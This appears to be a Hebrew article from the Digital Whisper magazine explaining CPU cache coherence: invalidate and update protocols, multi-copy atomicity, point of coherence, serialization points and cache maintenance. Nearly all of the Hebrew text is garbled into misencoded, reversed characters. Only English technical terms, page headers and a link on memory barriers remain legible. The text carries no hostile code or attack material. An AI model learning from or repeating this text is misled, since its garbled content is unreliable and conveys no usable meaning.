¶  ˭˧˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸˞ ˪ˢˮˬ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪ˣ˵ˣ˦ˣ˶˲cache-.˸˩˶˰ˬ˟ ˫˧ˮˣ˷ ˫˧ˡ˟˰ˬ ˪˷ ˫˧ 

˸˟ ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˡ˶˲ˮ˟ ˪˲˦˪ ˸˶˷˲˞ˬ ˣˤˢ ˢˮ˥˟ˢˢ ˪ˣˢ˧ˮˢ ˸˞ ˪˰˧˧ˬ˷ ˢˬ ,˫˧ˡ˟˰ˬˢ ˭˧˟ˣ ˡ˟˰ˬˢ ˨ˣ

.˸ˣ˶ˤˣ˟ˬ ˸ˣ˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˷ 



 
 

Cache Coherence 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  рм 
 

˧˪ˣ˵ˣ˦ˣ˶˲ Invalidate ˸ˬˣ˰˪ Update  

˟ ˫˧˵˸ˣ˰ˢ˷ ˥˧˦˟ˢ˪ ˧ˡ˩-cache- ˪˦˟˪ ˷˧ ,˭ˣ˶˩˧ˤ˪ ˢ˟˧˸˩ ˸˰˴˟˸ˬ ˶˷˞˩ ,˫˧ˮ˩ˡˣ˰ˬ ˣ˶˞˷˧˧ ˫˧ˮˣ˷ˢ ˫˧

) ˫˧˷˲ˣ˰ˬ ˫˧ˮˣ˸ˮ ˫˧ˮˣ˩ˬˢ ,˫˧ˮ˷˧ˢ ˫˧˵˸ˣ˰ˢ ˸˞ ˭˩ˡ˰˪ ˣ˞stale ˸˞ˤ ˰˴˟˪ ˭˸˧ˮ .˫˧˶˥˞ˢ ˫˧˵˸ˣ˰˟ ,(

) ˪ˣ˦˧˟ :˸ˣ˷˧ˠ ˧˸˷ ˸ˣ˰˴ˬ˞˟invalidate ˫˧ˮˣ˸ˮˢ ˪˷ (˟ ˭˯˥ˣ˞ˬˢ ˨˶˰ˢ ˭ˣ˩ˡ˰ ˣ˞ ˫˧˷˲ˣ˰ˬˢ-cache 

 ˪˰ ˢˡ˧˰ˬ˷ ˶ˣ˷˧˞ ˸˰ˡˣˢ˟ ˸ˣ˟ˣ˶˵ ˫˧˸˧˰˪ ˢˣˣ˪ˬ ˭ˣ˩ˡ˰ ˣ˞ ˪ˣ˦˧˟ ˪˷ ˢˤ ˨˧˪ˢ˸ .˟˸˩ˮ˷ ˷ˡ˥ˢ ˨˶˰˪

 ˪˷ ˢ˷˧ˠ˟ ˣ˞ ˪ˣ˦˧˟ ˪˷ ˢ˷˧ˠ˟ ˣ˞ ˫˧˷ˬ˸˷ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˫˧˟ˣ˴˧˰ˢ ˟ˣ˶ .ˢ˪ˣ˰˲ˢ ˸ˬ˪˷ˢ

˶˰ˬˢ ˫ˢ˟˷ ˫˧˧ˡ˧˶˟˧ˢ ˫˧˟ˣ˴˧˰ ˫ˮ˷˧ ˨˞ ,˭ˣ˩ˡ˰ ,˸ˣ˦˧˷ˢ ˧˸˷ ˭˧˟ ˧ˬˮ˧ˡ ˣ˞ ˧˦˦˯ ˭˲ˣ˞˟ ˶ˣ˥˟˪ ˢ˪ˣ˩˧ ˸˩

.˫˧˶˥˞ ˫˧˞ˮ˸˪ ˣ˞ ˭ˣ˶˩˧ˤˢ ˫ˣ˵˧ˬ˪ ˫˞˸ˢ˟ 

 ˵ˣ˪˟˪ ˸˟˸ˣ˩ ˢ˟˧˪ ˶˷˞˩ ˠˣˢˮ˪ ˡ˴˧˩ ˞˧ˢ ˭ˣˮ˩˸˟ ˸ˣ˧˶˵˧˰ˢ ˸ˣ˦˪˥ˢˢ ˸˥˞ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟

:˸ˣ˧˶˵˧˰ ˸ˣ˧ˣ˶˷˲˞ ˧˸˷ ˸ˣˬ˧˧˵ .˭ˣ˶˩˧ˤ 

˧˪ˣ˵ˣ˦ˣ˶˲ Invalidate  

 ˪˷ ˫˧˵˸ˣ˰ˢ ˪˷ ˪ˣ˦˧˟˪ ˢ˞˧˟ˬ˷ ˸˧˦ˮ˶ˢˣ˵ ˢ˧˴˵ˤˮ˶˦ ˸ˬˤˣ˧ ˞˧ˢ ,˵ˣ˪˟˪ ˟ˣ˸˩˪ ˢ˴ˣ˶ ˢ˟˧˪ ˶˷˞˩

ˢ ˪˩˟ ˵ˣ˪˟ˢ-cache-ˣ˥ ˞˪˪ ˣ˩˲ˢˣ ˣ˪˦ˣ˟ ˫˧˵˸ˣ˰ˢ˷ ˰ˠ˶˟ .˫˧˶˥˞ˢ ˫˧ ˢ˪ˣ˩˧ ˸˷˵˟ˬˢ ˢ˟˧˪ˢ ,˫˧˧˵

 ˢ˴ˣ˶ ˸˶˥˞ ˢ˟˧˪ ˫˞ .˵ˣ˪˟ˢ ˪˷ ˭˷˧ˢ ˨˶˰ˢ ˸˞ ˣ˞˶˵˧ ˸ˣ˶˥˞ˢ ˸ˣ˟˧˪ˢ˷ ˷˷˥ ˞˪˪ ˢ˟˧˸˩ˢ ˸˞ ˰˴˟˪

 ˸˞ ˪˟˵˪ ˧ˡ˩ ˢ˷ˡ˥ ˸˧˦ˮ˶ˢˣ˵ ˢ˧˴˵ˤˮ˶˦ ˫ˣˤ˧˪ ˢ˧˪˰ ,˪˦ˣ˟ ˣ˪˷ ˵˸ˣ˰ˢ˷ ˶˥˞˪ ˵ˣ˪˟ˢ ˸˞ ˞ˣ˶˵˪

 ˢˤ ˨˧˪ˢ˸ .ˢ˟˧˸˩ˢ ˸˞ ˢ˰˴˧˟˷ ˢ˟˧˪ˢˬ ˭˩ˡˣ˰ˬ ˵˸ˣ˰ ˪˟˵˸ ˨˩˟ˣ ,˵ˣ˪˟ˢ ˪˰ ˢ˶˧ˬ˷ ˥˧˦˟ˬ

.˸ˣ˧˦ˮ˶ˢˣ˵ˢ 

 ˧˪ˣ˵ˣ˦ˣ˶˲Update  

 ˫˧˵˸ˣ˰ˢ ˪˩ ˭ˣ˩ˡ˰˪ ˢ˞˧˟ˬ˷ ˸˧˦ˮ˶ˢˣ˵ ˢ˧˴˵ˤˮ˶˦ ˸ˬˤˣ˧ ˞˧ˢ ,˵ˣ˪˟˪ ˟ˣ˸˩˪ ˢ˴ˣ˶ ˢ˟˧˪ ˶˷˞˩ ˵ˣ˪˟ˢ ˪˷

ˢ ˪˩˟-cache-.˟˸˩ˮ˷ ˷ˡ˥ˢ ˨˶˰ˢ ˸˞ ˱˵˷˪ ˧ˡ˩ ˫˧˶˥˞ˢ ˫˧ 

 ˧˪ˣ˵ˣ˦ˣ˶˲Update  ˢˮ˧˞ ˢ˟˧˪ˢ˷ ˫ˣ˷ˬ ,˟˸˩ˮ˷ ˷ˡ˥ ˵ˣ˪˟ ˪˷ ˢ˞˧˶˵˪ ˢ˧ˢ˷ˢˢ ˭ˬˤ ˸˞ ˫˧˸˧˥˲ˬ

 ˧˪ˣ˵ˣ˦ˣ˶˲ ,˸˞ˤ ˫˰ .ˢ˷ˡ˥ ˢ˧˴˵ˤˮ˶˦ ˸ˬ˪˷ˢ˪ ˸ˣ˩˥˪ˣ ˫ˣˤ˧˪ ˸˷˶ˡˮUpdate  ˶˸ˣ˧ ˫˧˩˶ˣ˴ ˪˪˩ ˨˶ˡ˟

 ˧˪ˣ˵ˣ˦ˣ˶˲ˬ ˯˲ ˟˥ˣ˶Invalidateˢ ˸ˣ˰ˡˣˢ˷ ˭ˣˣ˧˩ˬ ,-Update  (˷ˡ˥ ˨˶˰ˣ ˸˟ˣ˸˩) ˱˯ˣˮ ˰ˡ˧ˬ ˸ˣ˪˪ˣ˩

 ˸ˣ˰ˡˣˢ ˸ˬˣ˰˪Invalidate .(˸˟ˣ˸˩ ˵˶ ˸ˣ˪˪ˣ˩˷) 

 ˧˪ˣ˵ˣ˦ˣ˶˲Update  ˪˰ ˢ˶˧ˬ˷ ,ˢˬˠˣˡ˪ .˭ˣ˶˩˧ˤ ˸ˣ˧˟˵˰ ˪˷ ˫˧ˮˣ˷ ˫˧˪ˡˣˬ ˪˷ ˫ˣ˷˧˧ˢ ˸˞ ˫˧˩˟˯ˬ ˫ˠ

multi-copy atomicity  ˪˷˟ .˭ˣ˶˩˧ˤ˟ ˵ˣ˪˟ ˪˷ ˫˧˵˸ˣ˰ ˶˲˯ˬ ˭˩ˡ˰˪ ˨˶ˣ˴ ˷˧ ˶˷˞˩ ˶˸ˣ˧ ˸˟˩˶ˣˬ ˸˧˷˰ˮ

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˢ˟˶ˢ ˸ˣ˟˩˶ˣˬˢUpdate.˸ˣ˶˧ˡˮ ˫˧˸˧˰˪ ˵˶ ˫˧ˬ˷ˣ˧ˬ ˫ˢ , 



 
 

Cache Coherence 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  рн 
 

 ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲˟ ˫ˣ˧˯ ˧˞ˮ˸ 

 ˱ˣ˯˟˪ ˫˧˧˸˯˸ ˡ˟˰ˬ ˧ˡ˧ ˪˰ ˢ˵˲ˮˣˢ˷ ˢ˟˧˸˩ ˸˪ˣ˰˲ ˪˩˷ ˫˧˷˶ˣˡ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˫ˣ˧˯ˢ ˧˞ˮ˸

 ˪˩ ˧ˡ˧ ˪˰ ˢ˞˶˧˸ ˢ˟˧˸˩ˢ˷ ˭˲ˣ˞˟ ˸ˣ˪ˣ˰˲ ˪˷ ˢˬ˪˷ˢˢ ˶ˡ˯ ,˶ˬˣ˪˩ .˧˟˵˰ ˶ˡ˯ ˣ˸ˣ˞˟ ˫˧ˡ˟˰ˬˢ

 ˭ˢ˟˷ ˸ˣ˩˶˰ˬ˟ ˡ˥ˣ˧ˬ˟ ˸˧ˮˣ˧˥ ˣˤ ˢ˷˧˶ˡ .˸˩˶˰ˬ˟ ˫˧ˡ˟˰ˬˢ ˪˩˪ ˢ˞˶ˮˣ ˡ˧˥˞ ˸ˣ˧ˢ˪ ˟˧˧˥ ˢ˟˧˸˩ˢ

˟ ˫˧˪˲˩ˣ˷ˬ ˫˧ˮˣ˸ˮ-cache- ˭˶˩ˮˣ˯ˬˣ ˧ˣ˪ˠ ˢ˧ˢ˧ ˫˧ˮˣ˸ˮ˟ ˧ˣˮ˧˷ ˪˩˷ ˢ˥˧˦˟ˬ ˞˧ˢ ˭˩˷ ,˫˧ˡ˟˰ˬ ˢˬ˩ ˭˧˟ ˫˧

.˫˧˟˧˩˶ˢ ˪˩ ˭˧˟ 

ˢ ,˱˯ˣˮ˟ ˣ˸ˣ˞˟ ˫˧ˡ˟˰ˬˢ ˪˩˟ ˰˧˲ˣ˸ ˭ˣ˶˩˧ˤ˟ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˢ˟˧˸˩ ˸˪ˣ˰˲ ˪˩˷ ˸˟˧˧˥ˬ ˸ˣ˧˦ˮ˶ˢˣ˵

 ˸ˣ˞˶˪ ˫˧˩˧˶˴ ˫˧˶˥˞ˢ ˫˧ˡ˟˰ˬˢ ˪˩ ,˭ˣ˶˩˧ˤ˟ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˫˧˟˸ˣ˩ ˫˧ˡ˟˰ˬ ˶˲˯ˬ ˫˞ ,˶ˬˣ˪˩ .˶ˡ˯ˢ

˪ ˢ˷˧˶ˡ) .ˢˢˤ ˭˲ˣ˞˟ ˸ˣ˟˧˸˩ˢ ˶ˡ˯ ˸˞-multi-copy atomicity( 

Point of Coherence  

 ˸ˣ˰ˬ˷ˬˢ ˸˞ ˟ˣ˦ ˶˸ˣ˧ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷ ˣ˧˷˩˰ ˪˟˞ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˪˷ ˭ˣ˧˰˶ˢ ˢ˶˴˵˟ ˶˟˯ˣˢ ˶˟˩

.ˢ˵˧ˬ˰ˬ ˶˸ˣ˧ ˸˴˵ ˢ˶ˣ˴˟ ˶˧˟˯ˢ˪ ˶˷˲˞ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˷ 

˸˟ ˧ˮˣ˧˰˶ ˫ˣ˵˧ˬ ˞˧ˢ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˨˪ˢˬ˟ ˫˧ˬˣ˯˥ˬˢˣ ˸ˣ˟˧˸˩ˢ ˪˩ ˸ˣ˰˧ˠˬ ˣ˧˪˞˷ ˸˩˶˰ˬˢ ˨ˣ

 ˸˶˟ˣ˰ ˞˧ˢ˷ ˶˥˞˪ ,ˢ˟˧˸˩ˢ ˸˰˴˟˸ˬ ˣ˟˷ ˧˲ˣ˯ˢ ˫ˣ˵ˬ˩ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˸˞ ˸ˣˬˡ˪ ˭˸˧ˮ .˭˸˪ˣ˰˲

ˢ ˪˩ ˨˶ˡ-cache-ˢˣ ˫˧-buffer-.˫˧ˮˣ˸ˮˢ ˪˷ ˧˲ˣ˯ ˭ˣ˯˥˞ ˫˷˪ ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪ ˢ˰˧ˠˬˣ ˫˧˧˦ˮˣˣ˪˶ˢ ˫˧ 

ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˪˷ ˧ˤ˩˶ˬˢ ˭ˣ˶˵˧˰ˢ ˣˤ ˢˡˣ˵ˮ˪ ˰˧ˠˢ˪ ˸ˣ˟˧˧˥ ˭ˣ˶˩˧ˤ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ ˸ˣ˟˧˸˩˷ ˞ˣˢ ˸ˣ˧˦

 ˭˩˸˧˧ .˸ˣ˟˧˸˩ˢ ˸˞ ˢ˞˶˧ ˸˩˶˰ˬ˟ ˡ˟˰ˬ ˪˩ ˣ˟˷ ˶ˡ˯ˢ ˸˞ ˶˧ˡˠˬ ˢˤ ˶ˡ˯ .ˡ˧˥˞ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶ˡ˯˟

 ˶ˡ˯ ˧˲˪ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˭˸ˣ˞ ˥˪˷˸ˣ ˷˞˶ˬ ˸ˣ˟˧˸˩ˢ ˶ˡ˯ ˸˞ ˰˟˵˸ ˢˬ˴˰ ˭ˣ˶˩˧ˤˢ ˸˩˶˰ˬ˷

˸ˣ˟˧˸˩ˢ ˸˞ ˶˧˟˰˸ ˞˧ˢ˷ ˣ˞ ,˶ˡˠˣˬ  ˟ˣ˷˥˷ ˢˬ .˶ˡ˯ˢ ˸˞ ˰˟˵˸ ˫˷ˬˣ ,ˣˤ ˢˡˣ˵ˮ˪ ˭˸˰ˠˢ ˶ˡ˯ ˧˲˪

 ˭˸˧ˮ ˞˪ˣ ˰˟˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˶ˡ˯˟ ˢˬˣ˵˧ˬ ,˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˢ˰˧ˠˬ ˸ˬ˧ˣ˯ˬ ˢ˟˧˸˩˷ ˰ˠ˶˟˷ ,˞ˣˢ

.ˢˤ ˶ˡ˯˟ ˸ˣˬˡˣ˵ ˸ˣ˟˧˸˩ ˱ˣ˵˰˪ ˣ˪˩ˣ˧ ˞˪ ˸ˣ˧ˡ˧˸˰ ˸ˣ˟˧˸˩ ,˶ˬˣ˪˩ .ˣ˸ˣˮ˷˪ 

 ˫˧˪˧˦ˬ˷ ˸ˣ˷˧˶ˡ˪ ˦˶˲˭ˣ˶˩˧ˤ ˧ˬˣ˯˥ˬ  ˪˷ ˸ˣ˦˷˲˸ˢˢ ˶ˡ˯˷ ˥˶˩ˢ ˭˧˞ ,(ˡ˶˲ˮ ˶ˬ˞ˬ˟ ˢ˟˥˶ˢ˟ ˶˟˯ˣ˧)

 ˸ˣ˪ˣ˩˧ ˸ˣ˟˧˸˩ .˷˞˶ˬ ˶ˡˠˣˬ ˢ˧ˢ˧ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˸ˣ˰˧ˠˬ ˭ˢ ˢ˟˷ ˨˶ˡˢ ˣ˞ ˫˧ˡ˟˰ˬˢ ˭˧˟ ˸ˣ˟˧˸˩ˢ

ˣ˵ˬ˟ ˣ˥˪˷ˮ ˣ˟˷ ˢˤˬ ˢˮˣ˷ ˶ˡ˯˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˰˧ˠˢ˪ ˣ˟˸˩˧ ˫˧ˡ˟˰ˬ ˧ˮ˷˷ ˭˩˸˧˧ ,ˢˬˠˣˡ˪ .˶

 ˧ˮ˲˪ ˢ˧ˣ˪ˠ˪ ˨ˣ˲ˢ˸ˣ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ˪ ˰˧ˠ˸ ˢ˧˧ˮ˷ˢ ˢ˟˧˸˩ˢ ˨˞ ,˫˧ˮˣ˷ ˫˧ˮˬˤ˟ ˭ˣ˶˩˧ˤ ˸˟ˣ˸˩ ˢ˸ˣ˞˪

.ˢˮˣ˷˞˶ˢ ˢ˟˧˸˩ˢ 

 ˣˤ ˢ˷˧˶ˡ .˭ˣ˸ˮ ˭ˬˤ˟ ˭ˣ˸ˮ ˢˮ˸˷ˬ ˶ˣ˟˰ ˢ˲˵˸ ˢ˧ˢ˸ ˡ˟˪˟ ˸˥˞ ˸ˣ˧˦ˮ˶ˢˣ˵˷ ˞˧ˢ ˸˧ˤ˩˶ˬˢ ˢ˷˧˶ˡˢ

ˢ ˸ˣ˰˴ˬ˞˟ ˸˷ˬˬ˸ˬ-cache line  ,˨˩˪ ˱˯ˣˮ .˨˶ˣ˴ˢ ˧˲˪ ˫˧ˡ˟˰ˬ ˭˧˟ ˶ˣ˟˰˪ ˪ˣ˩˧˷ ,ˢˮ˸˷ˬˢ ˸˞ ˪˧˩ˬˢ

 ˸˪ˣ˩˧ˬ ˸˪˰ˣ˸ ˵˧˲ˢ˪ ˢ˪ˣ˩˧ ˸˩˶˰ˬˢscalability  ˪˩ ˶ˣ˟˰ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˡˣ˵ˮ ˪˷cache line ˞˧ˢ˷ ˨˩ ,

 ˢ˪˧˰˧ ˢ˶ˣ˴˟ ˟˥˶˸ˢ˪ ˪ˣ˩˧˷ ˦ˣ˷˲ ˢ˶ˬˣ˥ ˫ˣ˷˧˧ .˶˸ˣ˧ ˸ˣ˟˩˶ˣˬˣ ˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟ ˫ˠ ˨ˣˬ˸˪ ˪˩ˣ˸

https://en.wikipedia.org/wiki/Memory_barrier
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˯ˬ ˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟˟ ˷ˣˬ˧˷ ˪˰ ˨ˬ˸-store buffer- ˶ˡ˯ˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ ˢ˶˧ˬ˷˟ ˫˧˰˧˧˯ˬ˷ ,˫˧

.˸ˣ˟˧˸˩ˢ 

ˢ ˸˞ ˸ˣ˞˶˪ ˨˶ˡ ˡˣ˰-point of coherence  ˭ˣ˶˥˞ˢ ˨˶˰ˢ ˭˯˥ˣ˞ˬ ˣ˟˷ ˭ˣ˶˩˧ˤˢ ˸˧˧˩˶˶˧ˢ˟ ˫ˣ˵ˬˢ ˞ˣˢ

 ˭˸˧ˮ ˣ˟˷ ˧˲˧˴˲˯ˢ ˫ˣ˵˧ˬˢ ˸˞ ˠ˴˧˧ˬ ˞ˣˢ .ˢˤ ˫ˣ˵˧ˬ˪ ˸˧˦ˮ˶ˢˣ˵ ˢ˷˧ˠ ˸ˣ˥˦˟ˣˬ ˫˷ˣ ,˭ˣ˶˩˧ˤ ˫ˣ˵˧ˬ ˪˷

˪.˸ˣˮ˧˸ˬˬˢ ˸ˣ˪ˣ˰˲ˢ ˪˩ ˸ˬ˪˷ˢ ˶˥˞˪ ,˭ˣ˶˩˧ˤ ˵ˣ˪˟ ˪˷ ˶˸ˣ˧˟ ˧ˮ˩ˡ˰ˢ ˧˦ˮ˶ˢˣ˵ˢ ˨˶˰ˢ ˸˞ ˞ˣ˴ˬ 

Serialization Point  

˰ ˸ˣ˧˸ˣ˰ˬ˷ˬ ˸ˣ˰˲˷ˢ ˸˶˴ˣ˧ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˵˟˟ ˪ˣ˲˧˦˟ ˪˪ˣ˩ˢ ˶ˡ˯ˢ ˸˷˧˶ˡ ˸˷˶ ˟ˣ˴˧˰ ˪

interconnection ˧˯˯ˣ˟ˬ ˫˧˧˸˶ˣ˯ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲˟ ˡ˥ˣ˧ˬ˟ .snooping  ˶˥˞ˬ .(˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˶˟˯ˣ˧)

 ˶ˡ˯ ˧˲˪ ˸ˣ˷˵˟ˢ ˸˞ ˭ˠ˶˞˸˷ ˸˷˶˟ ˨˶ˣ˴ ˷˧ ,˪˧˟˵ˬ˟ ˸ˣ˷˵˟ ˵˧˲ˮˢ˪ ˫˧˪ˣ˩˧ ˫˧ˮˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˶˵˟˷

) ˢ˶ˡ˯ˢ ˸ˡˣ˵ˮ ˞˶˵ˮ ˢˤ ˭ˣˮˠˮˬ .˸˧˟˵˰ ˢ˶ˣ˴˟ ˰˟˵˧˧˷ ˪˪ˣ˩serialization point ˸˞ ˰ˣ˟˵˪ ˣˡ˧˵˲˸ˣ ,(

.ˣ˪˲ˣ˦˧ˣ ˫˧˶˵˟˪ ˣ˥˪˷˧˧ ˸ˣ˷˵˟ˢ ˣ˟˷ ˶ˡ˯ˢ 

ˢ ˸˷˶ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˥˪ˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˶˵˟ ˶˷˞˩-interconnection  ˫˞˸ˢ˟ ˢ˷˵˟ˢ ˸˞ ˸ˬ˞˸ˬ

 ˞˧ˢ ˶ˡ˯ ˢˤ˧˞˟ ˸ˣ˪ˠ˪ ˪ˣ˩˧ ˢ˷˵˟ˢ ˸˞ ˥˪ˣ˷˷ ˶˵˟ˢ .˫˧˶˵˟ˢ ˪˩˪ ˢ˸ˣ˞ ˸˥˪ˣ˷ˣ ˢ˶ˡ˯ˢˢ ˸ˡˣ˵ˮ˪

 ˰ˣ˴˧˟ ˧ˡ˧ ˪˰ ˢ˪˲ˣ˦snooping  ˸ˣ˷˵˟ ˣ˪˧˞ ˸˰ˡ˪ ˪˩ˣ˧˷ ˨˩ ,˫˧˶˥˞ˢ ˫˧˶˵˟ˢˬ ˸ˣ˰˧ˠˬˢ ˸ˣ˷˵˟˪

.ˣ˪˷ ˢ˷˵˟˪ ˶˷˵˟ ˸ˣ˟˵ˣ˰ ˣ˞ ˸ˣˬˡˣ˵ 

˟ ˸˷ˬ˸˷ˬˢ ˸˩˶˰ˬ˪ ˢ˦ˣ˷˲ ˢˬˠˣˡ ˥˵˧ˮ ˣ˞ˣ˟-bus  ˧˶˵˟ ,ˣˤ˩ ˸˩˶˰ˬ˟ .˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˷˵˟ ˶ˣˡ˧˷˪

ˢ ˪˰ ˶ˣ˟˰˸ ˸˥˞ ˢ˷˵˟ ˵˶ ˰ˠ˶ ˪˩˟˷ ˢ˥˧˦˟ˬ˷ ˢ˧˴˵˪˯ ˸˵˧ˠˣ˪ ˫˰ ˪ˣ˰˲˪ ˫˧˟˧˧˥ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ-bus .

ˢ ˪˰ ˣ˥˪˷˧˧ ˸ˣ˷˵˟ˢ ˣ˟˷ ˶ˡ˯ˢ ˸˞ ˸˰˟ˣ˵ ˞˧ˢ˷ ˨˩˟ ˢ˶ˡ˯ˢˢ ˸ˡˣ˵ˮ˩ ˸˪˰ˣ˲ ˢ˧˴˵˪˯ˢ ˸˵˧ˠˣ˪-bus .

 ˶ˡ˯ˢ ˸˞ ˰ˡ˧˧ ˵˧˲ˮˬˢ ˶˵˟ˢ ˨˞ ,˰˴˟˸ˢ˪ ˢ˪ˣ˩˧ ˢ˷˵˟ˢ ,ˢ˷˵˟ˢ ˸˞ ˸ˮˠ˶˞ˬ ˣˤˢ ˢ˵˧ˠˣ˪ˢ˷ ˰ˠ˶˟

 ˰ˣ˴˧˟ ˧ˡ˧ ˪˰ ˵˶ ˢ˟˪ˣ˷ ˣ˪˷ ˢ˷˵˟ˢ ˣ˟˷ ˪˪ˣ˩ˢsnooping ˟-bus˟ ˣ˪˧˞ ˢ˪ˠ˧ ˞ˣˢ ˢˤ ˨˪ˢˬ˟ . ˸ˣ˷˵

.ˣ˪˷ ˢ˷˵˟ˢ ˧˶˥˞ ˣ˞ ˧ˮ˲˪ ˸ˣˬ˧˧˵ ˸ˣ˶˥˞ 

 ˭ˣ˰˷ ˧˶ˣˤ˥ˬ ˶˲˯ˬ ˵˶ ˸ˣ˷˵˟ˢ ˪˷ ˪˪ˣ˩ˢ ˶ˡ˯ˢ ˸˞ ˭˧˟ˢ˪ ˫˧˪ˣ˩˧ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ,˨˩ˬ ˢ˞˴ˣ˸˩

.˪˰ˣ˲˟ ˶ˡ˯ˢ ˸˞ ˢ˰˟˵ ˢ˶ˡ˯ˢˢ ˸ˡˣ˵ˮ˷ ˶˥˞˪ 

-sserialization point ˟ˣ˪ˠ ˭˲ˣ˞˟ ˸˶ˡˣ˯ˬ ˱˸ˣ˷ˬ ˭ˣ˶˩˧ˤ˟ ˢ˪ˣ˰˲ ˣ˟˷ ˭ˬˤ˟ ˫ˣ˵ˬ˪ ˣ˞ ˰ˠ˶˪ ˸˯˥˧˧˸ˬ ˧˪

 ˧ˮˣ˧˥ ˢˤ ˶ˡ˯ .˭ˣ˶˩˧ˤˢ ˸ˣ˪ˣ˰˲ ˶ˡ˯ ˪˰ ˫˧ˬ˧˩˯ˬ ˫˧ˡ˟˰ˬˢ ˪˩ ˢ˟˷ ˢˡˣ˵ˮˢ ˧ˢˣˤ .˸ˣ˶˥˞ ˸ˣ˪ˣ˰˲˪ ˯˥˧˟

 ˫˰ ˸˩˶˰ˬ˟ ,ˢˬˠˣˡ˪ .˱˴˶ ˣ˸ˣ˞˟ ˭ˣ˶˩˧ˤ ˸ˣ˪ˣ˰˲˟ ˣ˲˴˧ ˫˧ˡ˟˰ˬˢ ˪˩˷ ˥˧˦˟ˬ ˞ˣˢ˷ ˭ˣˣ˧˩ˬ ,˸ˣ˧˟˵˰˪

 ˶˲˯ˬcache-ˢ ,˱˸ˣ˷ˬ ˢˮ˸˷ˬ˪ ˢ˟˧˸˩ ˸˷˥˶˸ˬ ˶˷˞˩ ,˫˧-serialization point ˢ ˞ˣˢ ˭ˣˮˠˮˬˢ ˣ˞ ˭ˬˤ

.˫˧ˡ˟˰ˬˢ ˪˩˪ ˢ˧ˣ˪ˠ ˢ˧ˢ˸ ˣˤ ˢ˟˧˸˩ ˧˸ˬ ˫˧˰˟ˣ˵˷ 
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Serialization Point vs Point of Coherence  

-sserialization point ˣ ˸ˣ˪ˣ˰˲ˢ ˶ˡ˯ ˸˞ ˸˶˞˸ˬ˷ ˡˣ˰˟ ,˫˧ˡ˟˰ˬˢ ˪˩ ˧ˡ˧ ˪˰ ˸˧˪˟ˣ˪ˠ ˸ˣˢˣˤˬ ˭ˢ ˧˸ˬ-

point of coherence .˶˸ˣ˧˟ ˭ˣ˩ˮˢˣ ˧ˮ˩ˡ˰ˢ ˫˧ˮˣ˸ˮˢ ˨˶˰ ˫˧˧˵ ˣ˟˷ ˫ˣ˵˧ˬˢ ˪˰ ˞ˣˢ 

 ˠ˷ˣˬ ˞˧ˢ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˡˣ˵ˮ˷ ˡˣ˰˟ ,˭ˣ˶˩˧ˤ ˸ˣ˧˟˵˰ ˸˥˦˟ˢ˪ ˶ˣ˷˵ˢ ˧ˮˬˤ ˠ˷ˣˬ ˞˧ˢ ˢ˧˴ˤ˧˪˞˧˶˯ ˸ˡˣ˵ˮ

 ˪˷ ˧˦ˮ˶ˢˣ˵ˢ ˨˶˰ˢ ˸˞˧˴ˬ˪ ˶ˣ˷˵ˢ ˧˟˥˶ˬcache line. 

Cache maintenance  

 ˢ˶ˣ˴˟ ˰˧˲˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˨˧˞ ˢ˞˶ˮ ˣ˞ˣ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˢˤ ˢˬ ˣˮ˟ˢ˷ ˧˶˥˞˸ˬ˧ˣ˯ˬ .˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰ 

 ˸˵ˣˤ˥˸cache  ˢˮ˩ˣ˸˟ 

